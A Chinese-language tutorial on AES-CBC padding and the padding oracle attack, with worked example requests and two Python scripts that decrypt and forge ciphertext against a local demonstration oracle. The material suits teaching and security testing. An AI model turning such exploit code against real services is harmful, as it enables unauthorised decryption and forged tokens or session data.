一、CBC模式简介
CBC(Cipher Block Chaining,密码块链模式)是一种分组密码的加密模式,它通过将每个明文块与前一个密文块进行异或操作后再加密,以确保数据的安全性。
1.1 CBC加密流程
在CBC模式中,首先对明文进行分组,每个明文块先与前一个密文块进行异或后,再进行加密。CBC模式下,每个密文块依赖于前面的所有的明文块。
涉及到的概念:
- 初始化向量(IV):CBC模式使用一个初始化向量(IV),这是一个随机生成的值,与第一个明文块进行异或操作。IV的作用是为加密过程提供一个随机的起点,确保相同的明文块在不同的加密过程中产生不同的密文块。
1.1.1 加密流程
其加密流程示意图如下:
- 将明文分为固定大小的块(通常是8字节或16字节)。
- 第一个明文块与IV进行异或操作。
- 异或后的结果通过加密算法(如AES)加密,生成第一个密文块。
- 每个后续的明文块都与前一个密文块进行异或操作,然后再加密,生成下一个密文块。
密文分组3受到明文分组1、明文分组2、明文分组3的共同影响。
1.1.2 解密流程
- 将密文分为相同的块大小。
- 第一个密文块通过解密算法解密,然后与IV进行异或操作,恢复出第一个明文块。
- 每个后续的密文块都先解密,然后与前一个密文块进行异或操作,恢复出原始的明文块。
与加密过程不同的是名文分组3仅受密文分组2和密文分组3的共同影响。
1.1.3 填充(Padding)
分组带来一个问题,就是明文不可能恰好是block的整数倍,对于不能整除剩余的部分数据就涉及到填充操作。
在加密最后一个不完整的明文块时,需要进行填充以确保块的大小符合加密算法的要求。常见的填充方式有PKCS#5和OneAndZeroes。
1)PKCS#5:
在最后一个block中将不足的Byte数作为Byte值进行填充,缺少n个Byte,就填充n个0x0n,例如最后一个分组(block)缺少3个byte,就填充3个0x03到结尾。在解密时会校验明文的填充是否满足该规则,如果是以N个0x0N结束,则意味着解密操作执行成功,否则解密操作失败。
2)OneAndZeroes:
在最后一个Block中将不足的byte位数以 0x80开头后续全填0x00的方式进行填充,若最后一个Block缺少3byte,则填充:0x80 0x00 0x00。
二、Padding Oracle攻击原理
这种攻击方式在2011年的Pwnie Rewards中被评为“最具有价值的服务器漏洞”,因为它能够绕过对算法的直接破解,通过旁路攻击的方式被利用。
核心原理:明文分组和填充,同时应用程序对于填充异常的响应可以作为反馈。
2.1 利用场景
http://www.example.com/decrypt.jsp?data=0000000000000000EFC2807233F9D7C097116BB33E813C5E
当攻击者在篡改data值时会有以下不同的响应:
- 如果data值没有被篡改,则解密成功,并且业务校验成功,响应200
- 如果data值被篡改,服务端无法完成解密,解密校验失败,则响应500
- 如果data值被篡改,但是服务端解密成功,但业务逻辑校验失败,则可能返回200或302等响应码,而不是响应500
攻击者只需关注解密成功和解密失败的响应即可(第三种属于解密成功的响应),即可完成攻击。
2.2 破解密文
2.2.1 核心思路
攻击者通过修改密文并发送给服务器,观察服务器对不同密文的响应。如果密文的填充正确,服务器会返回一个成功的响应;如果填充不正确,服务器会返回一个错误响应。攻击者利用这种差异性来确定密文的正确填充,从而逐步解密密文或构造出任意明文的合法密文。
2.2.2 攻击过程
假设有这样一个应用,请求如下:
http://www.example.com/decrypt.jsp?data=7B216A634951170FF851D6CC68FC9537858795A28ED4AAC6
即client给server提交的参数为7B216A634951170FF851D6CC68FC9537858795A28ED4AAC6
才能请求正常的服务.
1)内在加解密过程(不为攻击者所知晓)
IV添加在密文的前段,即最前面8个字节。
- 加密过程
- 解密过程
值得注意的是,解密之后的最后一个数据块,其结尾应该包含正确的填充序列,如果不满足,加解密程序会返回异常(500)。
2)攻击者视角破解密文
- IV值置空
取第一个Block的密文,并将初始化向量置为0,即:
00 00 00 00 00 00 00 00 F8 51 D6 CC 68 FC 95 37
这时的请求和响应:
Request: http://sampleapp/home.jsp?UID=0000000000000000F851D6CC68FC9537
Response: 500 - Internal Server Error
回复500说明填充异常,原因是它的结尾未包含正确的填充字节:
如上图所示,在解密之后,数据块的末尾并没有包含正确的填充序列,因此出现了异常。
- 接下来尝试爆破,使得最后的填充序列满足
n个0xn
的条件
我们将IV加1,并且发送同样密文
Request: http://sampleapp/home.jsp?UID=0000000000000001F851D6CC68FC9537
Response: 500 - Internal Server Error
重复发送这样的请求,每次将IV的最后一个字节加一(直至0xFF
),那么最终我们将会产生一个合法的单字节填充序列(0x01
)
对于可能的256个值中,只有一个值会产生正确的填充字节0x01
,遇上这个值的时候,会得到一个不同于其他255个请求的回复结果。
Request: http://sampleapp/home.jsp?UID=000000000000003CF851D6CC68FC9537
Response: 200 OK
- 推断出中间值(Intermediary Value)的最后一个字节(注意中间值攻击者不知道,他是攻击者攻击的目标)
Intermediary Byte 异或 0×3C == 0×01,
Intermediary Byte == 0×3C ^ 0×01,
Intermediary Byte == 0×3D
重点:第一组密文解密的中间值是一直不变的,同样也是正确的,我们通过构造IV值,使得最后一位填充值满足0x01,符合padding规则,则意味着程序解密成功(当然解密的结果肯定不是原来的明文),通过循环测试的方法,猜解出中间值的最后一位,再利用同样的方式猜解前面的中间值,直到获取到完整的中间值。
- 推断出中间值的倒数第二个字节。
构造填充值为0x02 0x02
的场景,即存在2个填充字节,填充值为0x02
。
此时我们已经知道了中间值得最后一位为0x3D
,计算出初始向量的最后一位:
0x3D xor 0x02 = 0x3F
即初始向量为0000000000000003F
遍历倒数第二个字节从0x00~0xFF
,直到响应成功.
猜解出中间值得后两个字节分别为 0x26 0x3D
- 推断出整个中间值
运用这种技巧,我们可以最终得到解密后的中间值,也就是当整个数据块的填充值都是0x08
- 明文破解
当第一组密文的中间值猜解成功后,我们将中间值和已知的IV做异或,则得到第一组密文的明文:
0x39 0x73 0x23 0x22 0x07 0x6A 0x26 0x3D 异或 0x7B 0x21 0x6A 0x63 0x49 0x51 0x17 0x0F
= BRIAN;12
续破解第二组密文,第二组密文的IV向量是第一组密文,按照上述的逻辑构造第一组密文,即可破解出第二组明文。
2.2.3 思路总结
- 将IV最后一个字节设置为0x1,不断调整IV最后一个字节(0x01-0xff),爆破使得填充规则正确(7byte+0x01),得到中间值的最后一个字节。
- 在得到最后一个字节的中间值后,将IV最后一个字节设置为0x02,计算IV的最后一个字节。
- 不断调整IV倒数第二个字节(0x01-0xff),爆破使得填充规则正确(6byte+0x02+0x02),得到倒数第二个字节的中间值。
- 依次类推获得整个中间值。
- 中间值和IV异或获得明文。
2.3伪造明文
通过密文的破解过程,我们已经掌握了中间值(中间值同密文块是绑定的)和IV。
结合解密的流程,我们可以通过操纵IV来控制(密文块)解密得到的结果。
如果想要将密文中第一个数据块解密为“TEST”这个值,您可以计算出它所需要的IV值,只要将目标明文与中间值进行异或操作即可
只要将字符串”TEST”和4个0x04
填充字节与中间值异或之后,便可以得到最终的IV,即0×6D,0×36,0×70,0×76,0×03,0×6E,0×22,0×39
如何生成长度超过一个数据块的明文,比如要生成”ENCRYPT TEST”
首先还是将文本拆成数据块,并设置填充字节
通过类似的步骤我们可以知道生成TEST0x040x040x040x04的中间值(0xc3 0x60 0xed 0xc9 0x 6d 0xf9 0x90 0x32)和IV1(也就是BLOCK1对应的密文)。
接下来,我们需要弄明白中间值IV1在作为密文是如何解密的。
只要使用与之前破解过程相同的技巧就行了,我们把它作为密文传递给应用程序,并从全部为NULL的IV开始进行暴力破解。的到IV1对应的中间值IV1_IM。
通过IV1_IM可以构造BLOCK1的明文为ENCRYPT%20,然后计算得到初始IV值。
三、exp
3.1 poa.py
#!/usr/bin/env python
from hexdump import hexdump
from Crypto.Cipher import AES
import IPython
plain = b"Hello World! MTDP! RedTeam! 23333"
class POA(object):
KEY = b"1234567890abcdef"
IV = b"0102030405060708"
@classmethod
def __pad(cls, text: bytes):
"""PKCS7 padding"""
text_length = len(text)
amount_to_pad = AES.block_size - (text_length % AES.block_size)
if amount_to_pad == 0:
amount_to_pad = AES.block_size
pad = chr(amount_to_pad).encode()
return text + pad * amount_to_pad
@classmethod
def __unpad(cls, text: bytes):
pad = text[-1]
_pad = text[-pad:]
for i in _pad:
if pad != i:
raise Exception("Error Padding! - %s" % _pad)
return text[:-pad]
@classmethod
def encrypt(cls, plain: bytes):
pad_plain = cls.__pad(plain)
aes = AES.new(mode=AES.MODE_CBC, key=cls.KEY, iv=cls.IV)
cipher = aes.encrypt(pad_plain)
hexdump(cipher)
return cipher
@classmethod
def decrypt(cls, cipher: bytes):
aes = AES.new(mode=AES.MODE_CBC, key=cls.KEY, iv=cls.IV)
pad_plain = aes.decrypt(cipher)
return cls.__unpad(pad_plain)
@classmethod
def decrypt_without_result(cls, cipher: bytes):
try:
cls.decrypt(cipher)
return True
except Exception as e:
# print(e)
return False
def test():
return POA.encrypt(plain)
if __name__ == "__main__":
cipher = test()
plain = POA.decrypt(cipher)
print(plain)
IPython.embed()
3.2 poa_attack.py
#!/usr/bin/env python3
import pdb
from poa import test, POA
from Crypto.Cipher import AES
import IPython
class PaddingOracleAttack(object):
def __init__(self, cipher, iv):
self.cipher = cipher
# 把密文分割成列表,每个列表元素16字节
self.cipher_lst = self.split_block(self.cipher)
# 解密的中间值
self.mid_lst = [self.brute_middle(self.cipher_lst[-1])]
# 存储计算出来的明文
self.plain_lst = [[] for _ in self.cipher_lst]
@classmethod
def split_block(cls, cipher):
cipher_list = []
for i in range(0, len(cipher), 16):
cipher_list.append(cipher[i: i + 16])
return cipher_list
def calc_new_tail(self, tail, idx):
new_tail = b""
for t in tail:
_tail = t ^ (idx - 1) ^ idx
new_tail += _tail.to_bytes(1, byteorder="big")
return new_tail
def brute_middle(self, cipher_line):
'''暴力破解解密的中间值'''
tail = b""
mid_lst = []
# 从pad 为0x01开始 到 0x10
for pad in range(1, 17):
# 计算新的pad尾部,因为每计算出来一个pad,再往前计算新的pad的时候,尾部的每一个值异或出来都要放大1位。
tail = self.calc_new_tail(tail, pad)
find_pad = False
for i in range(0, 256):
# 形成2个密文块
cipher = b"\x00" * (16 - pad) + i.to_bytes(1, byteorder="big") + tail + cipher_line
if POA.decrypt_without_result(cipher):
# print("[!] Cipher - %s" % cipher)
find_pad = True
tail = i.to_bytes(1, byteorder="big") + tail
mid_chr = i ^ pad
mid_lst.insert(0, mid_chr)
if not find_pad:
raise Exception("Error not find pad!")
return bytes(mid_lst)
@classmethod
def __pad(cls, text: bytes):
"""PKCS7 padding"""
text_length = len(text)
amount_to_pad = AES.block_size - (text_length % AES.block_size)
if amount_to_pad == 0:
amount_to_pad = AES.block_size
pad = chr(amount_to_pad).encode()
return text + pad * amount_to_pad
def fake(self, plain, cipher=None, mid=None):
'''伪造
:plain: 要伪造的明文
:last_cipher: 一个密文块
:last_mid: 密文块解密出来的中间值
'''
pad_plain = self.__pad(plain)
plain_lst = self.split_block(pad_plain)
mid = mid if mid else self.mid_lst[-1]
cipher = [cipher if cipher else self.cipher_lst[-1]]
# 从最后开始计算
for plain in plain_lst[::-1]:
need_iv = b""
for idx in range(len(plain)):
_m = mid[idx]
_p = plain[idx]
need_iv += (_m ^ _p).to_bytes(1, byteorder="big")
mid = self.brute_middle(need_iv)
cipher.insert(0, need_iv)
return cipher[0], b''.join(cipher[1:])
def decrypt(self):
'''解密'''
# 从最后开始计算
self.mid_lst = []
for _idx in range(len(self.cipher_lst), 0, -1):
line_idx = _idx - 1
cipher_line = self.cipher_lst[line_idx]
if line_idx >= 1:
# 获取上一行密文数据,因为每一行的明文加密之前需要与上一行的密文异或
p_cipher_line = self.cipher_lst[line_idx - 1]
else:
# 如果是第一行,则其与IV异或
p_cipher_line = iv
_mid = self.brute_middle(cipher_line)
self.mid_lst.insert(0, _mid)
for idx, _m in enumerate(_mid):
plain_chr = _m ^ p_cipher_line[idx]
self.plain_lst[line_idx].append(plain_chr)
plain = b""
for p in self.plain_lst:
plain += bytes(p)
return plain
if __name__ == "__main__":
cipher = test() # 获取密文
iv = POA.IV # 获取初始化向量
poa_atck = PaddingOracleAttack(cipher, iv)
new_iv, new_cipher = poa_atck.fake(b"wo ai beijing tianan men!")
plain = poa_atck.decrypt()
IPython.embed()